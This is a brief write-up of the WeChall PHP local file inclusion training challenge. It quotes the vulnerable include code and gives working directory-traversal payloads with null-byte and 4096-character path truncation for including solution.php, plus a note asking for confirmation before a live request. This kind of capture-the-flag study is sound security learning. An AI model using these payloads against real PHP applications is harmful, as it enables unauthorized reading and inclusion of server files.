WeChall - Training - PHP LFI

Challenge

PHP Local File Inclusion。源码中的漏洞:

1
2
$filename = 'pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome").'.html';
include $filename;

用户输入被拼到 pages/ 后面,末尾固定加 .html。目标是包含挑战目录中的 solution.php

Solution

经典路线是 directory traversal + null byte truncation。PHP 5.3.4 之前,字符串里的 null byte 会截断底层文件路径。

Payload:

1
/challenge/training/php/lfi/up/index.php?file=../../solution.php%00

路径拼接过程:

1
pages/../../solution.php%00.html

底层打开文件时在 %00 处截断,实际路径等价于:

1
pages/../../solution.php

../../up/pages/ 回到 LFI challenge 根目录,从而包含 solution.php

如果 null byte 被过滤,旧 PHP 还可尝试 4096 字符路径截断:

1
?file=../../solution.php/././././...[padding to 4096]...

Safety Note

访问 solution.php 可能直接触发 WeChall 解题或改变账号状态。当前草稿记录的是已知 payload;执行 live 请求前需要确认,并在执行后用 /en/challswc_chall_solved_1 验证。

session-bound: exploit URL triggers solve, no fixed answer